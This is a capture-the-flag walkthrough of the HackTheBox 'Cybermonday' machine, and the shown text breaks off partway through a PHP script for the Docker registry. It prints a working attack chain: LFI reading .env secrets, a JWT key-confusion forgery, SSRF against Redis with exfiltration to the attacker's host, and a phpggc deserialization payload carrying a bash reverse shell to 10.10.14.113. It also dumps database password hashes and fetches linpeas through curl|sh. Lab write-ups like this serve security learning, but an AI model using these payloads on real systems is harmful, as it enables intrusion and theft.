Cybermonday
Recon
HTTP (80)

Laravel Debug
After some playing around the application I started the feroxbuster
and application kind of crippled. When I tried registering debug page popped up.
└─$ feroxbuster -u 'http://cybermonday.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -n -C 404
200 GET 21l 56w 603c http://cybermonday.htb/.htaccess
200 GET 97l 598w 46637c http://cybermonday.htb/assets/img/icon.png
200 GET 497l 3319w 276329c http://cybermonday.htb/assets/img/cyber-monday.png
200 GET 63l 8040w 343010c http://cybermonday.htb/assets/js/tailwind.js
200 GET 640l 3996w 345598c http://cybermonday.htb/assets/img/shopping.jpg
200 GET 121l 355w 5675c http://cybermonday.htb/login
200 GET 123l 366w 5823c http://cybermonday.htb/signup
200 GET 0l 0w 0c http://cybermonday.htb/products
200 GET 239l 986w 12721c http://cybermonday.htb/
301 GET 7l 11w 169c http://cybermonday.htb/assets => http://cybermonday.htb/assets/
200 GET 0l 0w 0c http://cybermonday.htb/favicon.ico
302 GET 12l 22w 358c http://cybermonday.htb/home => http://cybermonday.htb/login
200 GET 123l 366w 5873c http://cybermonday.htb/index.php/signup
200 GET 121l 355w 5725c http://cybermonday.htb/index.php/login
200 GET 239l 986w 12761c http://cybermonday.htb/index.php
200 GET 0l 0w 0c http://cybermonday.htb/index.php/products
200 GET 2l 3w 24c http://cybermonday.htb/robots.txt
[####################] - 10m 4743/4743 0s found:17 errors:467
[####################] - 10m 4728/4728 8/s http://cybermonday.htb/

Actually scratch that, the app crashed because I tried registering with already registered email.
Php Version: 8.1.20 Laravel Version: 9.46.0 Laravel Locale: en Laravel Config Cached: false App Debug: true App Env: local
Nginx off-by-slash LFI
Going back to feroxbuster we have /assets
redirecting us to /assets/
and it's handled by nginx, not PHP.

There's a vulnerability in nginx called off-by-slash which allows LFI.Breaking Parser Logic - Take Your Path Normalization Off and Pop 0days OutCommon Nginx misconfigurations that leave your web server open to attack
Laravel uses .env
for configuration and we can read that.
└─$ curl http://cybermonday.htb/assets../.env
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
CHANGELOG_PATH="/mnt/changelog.txt"
REDIS_BLACKLIST=flushall,flushdb
Git dump
.git
also exists so we can do source code review too.
└─$ curl http://cybermonday.htb/assets../.git -L -i
HTTP/1.1 301 Moved Permanently
Server: nginx/1.25.1
Date: Thu, 05 Dec 2024 17:04:08 GMT
Content-Type: text/html
Content-Length: 169
Location: http://cybermonday.htb/assets../.git/
Connection: keep-alive
HTTP/1.1 403 Forbidden
Server: nginx/1.25.1
Date: Thu, 05 Dec 2024 17:04:08 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.25.1</center>
</body>
</html>
└─$ curl http://cybermonday.htb/assets../.git/HEAD
ref: refs/heads/master
└─$ git-dumper http://cybermonday.htb/assets../.git app
In the /app/Http/Controllers/ProductController.php
store function is a bit funky. (https://infosecwriteups.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b)
public function store(Request $request) {
$validated = $request->validate([
'image' => 'required|image|max:2048',
'price' => 'required|numeric',
'name' => 'required',
'description' => 'required|max:1024'
]);
$image = base64_encode(file_get_contents($request->file('image')));
$validated['image'] = $image;
Product::create($validated);
session()->flash('success', 'Product created!');
return back();
}
But to access this endpoint we need to be Administrator.
// /app/routes/web.php
Route::prefix('dashboard')->middleware('auth.admin')->group(function(){
Route::get('/',[DashboardController::class,'index'])->name('dashboard');
Route::get('/products',[ProductController::class,'create'])->name('dashboard.products');
Route::post('/products',[ProductController::class,'store'])->name('dashboard.products.store');
Route::get('/changelog',[ChangelogController::class,'index'])->name('dashboard.changelog');
});
Admin from Mass Assignment
The update function in profile is also has a flaw, $data
is everything, but mentioned 3 fields. This means we can inject other fields and update them too.
// /app/Http/Controllers/ProfileController.php
class ProfileController extends Controller {
public function index() { return view('home.profile', [ 'title' => 'Profile' ]); }
public function update(Request $request) {
$data = $request->except(["_token", "password", "password_confirmation"]);
$user = User::where("id", auth()->user()->id)->first();
if (isset($request->password) && !empty($request->password)) {
if ($request->password != $request->password_confirmation) { session()->flash('error', 'Password dont match'); return back(); }
$data['password'] = bcrypt($request->password);
}
$user->update($data);
session()->flash('success', 'Profile updated');
return back();
}
}
User model has isAdmin
field to check for admins.
// /app/Models/User.php
protected $casts = [
'isAdmin' => 'boolean',
'email_verified_at' => 'datetime',
];

Now we have access to /dashboard

In changelogs we have internal application: http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77

Webhooks API
└─$ curl http://webhooks-api-beta.cybermonday.htb/ -s | jq
{
"status": "success",
"message": {
"routes": {
"/auth/register": {
"method": "POST",
"params": [ "username", "password" ]
},
"/auth/login": {
"method": "POST",
"params": [ "username", "password" ]
},
"/webhooks": {
"method": "GET"
},
"/webhooks/create": {
"method": "POST",
"params": [ "name", "description", "action" ]
},
"/webhooks/delete:uuid": {
"method": "DELETE"
},
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": { "params": [ "url", "method" ] },
"createLogFile": { "params": [ "log_name", "log_content" ] }
}
}
}
}
}
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -i
HTTP/1.1 403 Forbidden
Server: nginx/1.25.1
Content-Type: application/json; charset=utf-8
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=4a4e815f746f75076a504abf04c0e54c; path=/
{"status":"error","message":"Unauthorized"}
└─$ curl http://webhooks-api-beta.cybermonday.htb/auth/register --json '{"username":"x","password":"x"}'
{"status":"success","message":"success"}
└─$ curl http://webhooks-api-beta.cybermonday.htb/auth/login --json '{"username":"x","password":"x"}'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig"}}
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -H 'x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig'
{"status":"success","message":[{"id":1,"uuid":"fda96d32-e8c8-4301-8fb3-c821a316cf77","name":"tests","description":"webhook for tests","action":"createLogFile"}]}
I was trying to see what already builtin, but no matter it didn't accept the request..

Scratch that, it was because ;charset=UTF-8
added by Content Type Converter extension in Burp... only application/json
is accepted strictly. No custom characters are allowed in the name
tho and we don't know where it saves.

POST /webhooks/create
returns Unauthorized
Most probably because our role is user
and this role isn't able to create webhooks.

Passive recon in background:
└─$ feroxbuster -u 'http://webhooks-api-beta.cybermonday.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -n -C 404
200 GET 1l 1w 482c http://webhooks-api-beta.cybermonday.htb/
200 GET 21l 56w 602c http://webhooks-api-beta.cybermonday.htb/.htaccess
200 GET 11l 17w 447c http://webhooks-api-beta.cybermonday.htb/jwks.json
Algorithm confusion
The private key n
is leaked, which is not good (for defenders).
└─$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json -s | jq
{
"keys": [{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}]
}
https://portswigger.net/kb/issues/00600700_json-web-key-set-disclosedhttps://crypto-cat.gitbook.io/ctf-writeups/2024/intigriti/web/cat_club
Get the public key from n
from Crypto.PublicKey import RSA
from base64 import urlsafe_b64decode
import requests
def base64url_decode(data):
return urlsafe_b64decode(data + b'=' * (-len(data) % 4))
jwk = requests.get('http://webhooks-api-beta.cybermonday.htb/jwks.json').json()['keys'][0]
n = int.from_bytes(base64url_decode(jwk['n'].encode()), 'big')
e = int.from_bytes(base64url_decode(jwk['e'].encode()), 'big')
rsa_key = RSA.construct((n, e))
public_key_pem = rsa_key.export_key('PEM')
with open("pub.key", "wb") as f:
f.write(public_key_pem)
if not public_key_pem.endswith(b'\n'):
f.write(b"\n")
alias jwt_tool="docker run -it --network \"host\" --rm -v \"/usr/share/seclists/Passwords/Leaked-Databases:/wordlists\" -v \"${HOME}/.jwt_tool:/root/.jwt_tool\" -v \"$(pwd):/data\" ticarpi/jwt_tool"
---
└─$ jwt_tool 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig' -pk /data/pub.key -I -pc role -pv admin -v -I -hv alg -hv HS256 -X k
Version 2.2.7 \______| @ticarpi
Original JWT:
Token: {"typ":"JWT","alg":"RS256"}.{"id":2,"username":"x","role":"user"}.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig
Token: {"typ":"JWT","alg":"RS256"}.{"id":2,"username":"x","role":"admin"}.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig
File loaded: /data/pub.key
jwttool_0f0a10fa491b54121cc4d4bb347e9b29 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6ImFkbWluIn0.HCwkfvy7SghF9SrDxYXIkscyehsUIknrG3kRou1wUQk
No more unauthorized error, meaning we are admin.

Blind Redis SSRF
Create the webhook, but with sendRequest
action.

The webhook makes clean request with websockets, this should lead to SSRF

https://github.com/platformsh-templates/laravel/blob/master/.env.example
Previously we found .env
for Laravel and it was using MySQL and Redis. db
is probably some container, but Redis is running locally on default port 6379.
DB_HOST=db
SESSION_DRIVER=redis
From method
we are able to inject stuff into the HTTP request. If we want to talk to Redis we can't use HTTP verbs.

The SSRF might be blind, because we get no response with valid Redis commands, like INFO.
https://book.jorianwoltjer.com/networking/redis-valkey-tcp-6379#detection-callbackshttps://github.com/empty-jack/ctf-writeups/blob/master/CTFZone-Quals-2019/web-zirconium.mdhttps://redis.io/docs/latest/commands/migrate/
{"url":"http://127.0.0.1:6379","method":"SET key1 letmein\r\n"}
---
{"url":"http://127.0.0.1:6379","method":"MIGRATE 10.10.14.113 6379 key1 0 5000\r\nJunk:"}
MIGRATE was not working.. Going back to the .env
I confused two things, MEMCACHED_HOST != Redis
, REDIS_HOST is Redis! not localhost...
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis
Fix the url:
{"url":"http://redis:6379","method":"SET key1 letmein\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 key1 0 5000\r\nJunk:"}
A callback \o/

Now we can pull up our own server and get pretty output.
└─$ docker run -p 6379:6379 --name redis-listener -d redis
└─$ redis-cli
127.0.0.1:6379> MONITOR
OK
1733474322.415619 [0 10.129.229.35:48448] "SELECT" "0"
1733474322.415649 [0 10.129.229.35:48448] "RESTORE" "key1" "0" "\x00\aletmein\n\x00h\xd5W\xb1\x11\xd0p\x02"
^C(30.77s)
127.0.0.1:6379> get key1
"letmein"
To run INFO
we can we EVAL
, but odd think is SET
should have overridden values, but it didn't? So I updated the key name.
{"url":"http://redis:6379","method":"EVAL \"local info = redis.call('INFO') redis.call('SET', 'output2', info) return info\" 0\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 output2 0 5000\r\nJunk:"}
127.0.0.1:6379> get output2
...
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
{"url":"http://redis:6379","method":"EVAL \"local keys = redis.call('KEYS', '*') local keyList = table.concat(keys, ',') redis.call('SET', 'db_keys', keyList) return keyList\" 0\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 db_keys 0 5000\r\nJunk:"}
---
127.0.0.1:6379> GET db_keys
"key1,output"
.env
says that Laravel session's are prefixed with laravel_session string, but KEYS *
isn't showing it...
REDIS_PREFIX=laravel_session:
Scratch that... the token expired $lol$
127.0.0.1:6379> GET keys_all
"key1,output,laravel_session:eSVOtHvaK7yaNSuGXcPs9yv2ksPVD83EVQmrWbgi"
Laravel Deserialization RCE
Anyway... we can do any actions with Redis, the reason we want Laravel cookies is because they are serialized and serialized data is vulnerable to deserialization attack.
Hacktricks: Laravel Deserialization RCE -> laravel-exploits -> phpggc
busybox nc 10.10.14.113 4444 -e /bin/bash
didn't work, we can do good old bash -i
└─$ phpggc 'Laravel/RCE10' 'system' '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"' 2>/dev/null | php -r 'echo addslashes(file_get_contents("php://stdin"));'
O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:62:\"/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1\"\";}i:1;s:4:\"user\";}}
Update the session:
{"url":"http://redis:6379","method":"SET laravel_session:AXIPRtl19hpgoIDv3WvmJa9fo6btigJQmqAC0q71 'O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:62:\"/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1\"\";}i:1;s:4:\"user\";}}'\r\n"}
Reverse Shell
Reload the page and get a shell \o/
└─$ pwncat -lp 4444
[04:52:28] Welcome to pwncat 🐈! __main__.py:164
[04:54:41] received connection from 10.129.229.35:43036 bind.py:84
[04:54:44] 10.129.229.35:43036: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@070370e2cdc4:/var/www/html/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
MySQL enumeration
MySQL doesn't exist on box, we can either do port forwarding or just work with tools we have, like PHP.
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db","root","root");foreach($p->query("SHOW DATABASES")as$r)echo$r["Database"]."\n";'
cybermonday
information_schema
mysql
performance_schema
sys
webhooks_api
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=cybermonday","root","root");foreach($p->query("SHOW TABLES")as$r)echo$r[0]."\n";'
failed_jobs
migrations
password_resets
personal_access_tokens
products
users
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=cybermonday","root","root");foreach($p->query("SELECT * FROM users")as$r)print_r($r)."\n";'
Array
(
[id] => 1
[0] => 1
[username] => admin
[1] => admin
[email] => admin@cybermonday.htb
[2] => admin@cybermonday.htb
[password] => $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG
[3] => $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG
[isAdmin] => 1
[4] => 1
[remember_token] =>
[5] =>
[created_at] => 2023-05-29 04:10:36
[6] => 2023-05-29 04:10:36
[updated_at] => 2023-05-29 04:14:22
[7] => 2023-05-29 04:14:22
)
...
Most probably cybermonday database is not crackable, let's move on to api.
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=webhooks_api","root","root");foreach($p->query("SHOW TABLES")as$r)echo$r[0]."\n";'
users
webhooks
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=webhooks_api","root","root");foreach($p->query("SELECT * FROM users")as$r)print_r($r)."\n";'
Array
(
[id] => 1
[0] => 1
[username] => admin
[1] => admin
[password] => $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC
[2] => $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC
[role] => user
[3] => user
)
Linpeas
Start enumerating in background while waiting for john.
(remote) www-data@070370e2cdc4:/var/www/html$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
[i] Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
thread-self cat/proc/thread-self//cmdline
self cat/proc/self//cmdline
449 tee/tmp/lp.log
448 sh
447 curl10.10.14.113/lp.sh
3437 seds,amazon-ssm-agent|knockd|splunk,&,
3435 seds,root,&,
3434 seds,www-data,&,
3433 sh
3427 sort-r
3425 sh
3423 sh
294 /usr/bin/bash
293 sh-c/usr/bin/bash
292 /usr/bin/script-qc/usr/bin/bash/dev/null
273 /bin/bash-i
272 /bin/bash-c/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1
271 sh-c/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"
121 php-fpm: pool www
108 php-fpm: pool www
107 php-fpm: pool www
1 php-fpm: master process (/usr/local/etc/php-fpm.conf)
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/perl
/usr/local/bin/php
╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Apr 23 2023 /etc/skel/.bashrc
-rw-r--r-- 1 1000 1000 3526 May 29 2023 /mnt/.bashrc
╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)
-rw-r--r-- 1 root root 742 Jun 30 2023 /mnt/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/mnt/logs
/run/lock
/tmp
/tmp/lp.log
/var/tmp
╔══════════╣ Unexpected in root
/.dockerenv
First I checked if we had any write permissions in .ssh
, but nope...
(remote) www-data@070370e2cdc4:/mnt/.ssh$ echo x > x
bash: x: Read-only file system
Existing webhook writes "logs" in this directory
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat x-1733468579.log
x
Network enumeration
I didn't include linpeas network output, but there are multiple hosts on the network. We don't have any commands to check for hosts, but we can inspect arp
tables in /proc/net
manually. Our IP is most likely .7
on network.
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat /proc/net/arp
IP address HW type Flags HW address Mask Device
172.18.0.2 0x1 0x2 02:42:ac:12:00:02 * eth0
172.18.0.1 0x1 0x2 02:42:3e:84:55:d3 * eth0
172.18.0.4 0x1 0x2 02:42:ac:12:00:04 * eth0
172.18.0.3 0x1 0x2 02:42:ac:12:00:03 * eth0
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat /proc/net/fib_trie | grep -E '172\.18\.0\.[1-9]+'
|-- 172.18.0.7
|-- 172.18.0.7
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ curl 10.10.14.113/nmap -o /tmp/nmap
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ chmod +x /tmp/nmap
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ /tmp/nmap -sn 172.18.0.0/24 -T5 -Pn -v -v -v -v --min-rate 10000
Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.2)
Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.3)
Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.5)
Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.6)
Nmap scan report for 070370e2cdc4 (172.18.0.7)
(remote) www-data@070370e2cdc4:/tmp$ touch nmap-services
(remote) www-data@070370e2cdc4:/tmp$ /tmp/nmap 172.18.0.5 -T5 -Pn --min-rate=1000 -p- -v
PORT STATE SERVICE
5000/tcp open unknown
Docker registry
Most probably registry refers to the Docker Registry. 5000 - Pentesting Docker Registry
(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/_catalog
{"repositories":["cybermonday_api"]}
(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/cybermonday_api/tags/list
{"name":"cybermonday_api","tags":["latest"]}
(remote) www-data@070370e2cdc4:/tmp$ curl -s http://registry:5000/v2/cybermonday_api/manifests/latest
{
"schemaVersion": 1,
"name": "cybermonday_api",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
...
{ "blobSum": "sha256:5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7" }
],
"history": [ ... ],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "HDVJ:JY37:HRFM:KAJY:6DGE:75IG:O5JJ:UJ7G:55FE:24GH:XLU7:SO4O",
"kty": "EC",
"x": "aT3R1kQeqeYm7dNgHcc8FxRh_FexwZnYUMc-FdnZdrI",
"y": "zzVLdjLrC0mc9pOdaZ3fiU3IJYZ3lAtm6dKz4niXewc"
},
"alg": "ES256"
},
"signature": "9ENQvyUa0-kBG0lZV-0VE_0WBhxoholdttaHS11cLwxOSKC0sUYkQpgkj9Hiqw_ouoPpI27VbCjcS2tsWxxI7g",
"protected": "eyJmb3JtYXRMZW5ndGgiOjE5Njg3LCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjQtMTItMDZUMTE6MDA6MzVaIn0"
}
]
}
(remote) www-data@070370e2cdc4:/tmp$ mkdir /tmp/blob_c7
(remote) www-data@070370e2cdc4:/tmp$ tar -xvf /tmp/blob_c7.tar --directory=/tmp/blob_c7
(remote) www-data@070370e2cdc4:/tmp$ cd blob_c7
(remote) www-data@070370e2cdc4:/tmp/blob_c7$ find . -empty -delete 2>/dev/null
(remote) www-data@070370e2cdc4:/tmp/blob_c7$ ls -alh
total 24K
drwxr-xr-x 6 www-data www-data 4.0K Dec 6 11:14 .
drwxrwxrwt 1 root root 4.0K Dec 6 11:14 ..
lrwxrwxrwx 1 www-data www-data 7 Jun 12 2023 bin -> usr/bin
drwxr-xr-x 21 www-data www-data 4.0K Dec 6 11:14 etc
lrwxrwxrwx 1 www-data www-data 7 Jun 12 2023 lib -> usr/lib
lrwxrwxrwx 1 www-data www-data 9 Jun 12 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 www-data www-data 9 Jun 12 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 www-data www-data 10 Jun 12 2023 libx32 -> usr/libx32
drwx------ 2 www-data www-data 4.0K Jun 12 2023 root
lrwxrwxrwx 1 www-data www-data 8 Jun 12 2023 sbin -> usr/sbin
drwxr-xr-x 9 www-data www-data 4.0K Dec 6 11:14 usr
drwxr-xr-x 5 www-data www-data 4.0K Dec 6 11:14 var
Because Im lazy I didn't want to chisel my way, I started writing PHP and it totally didn't take few hours...
<?php
$registry = 'http://registry:5000';
$repo = 'cybermonday_api';
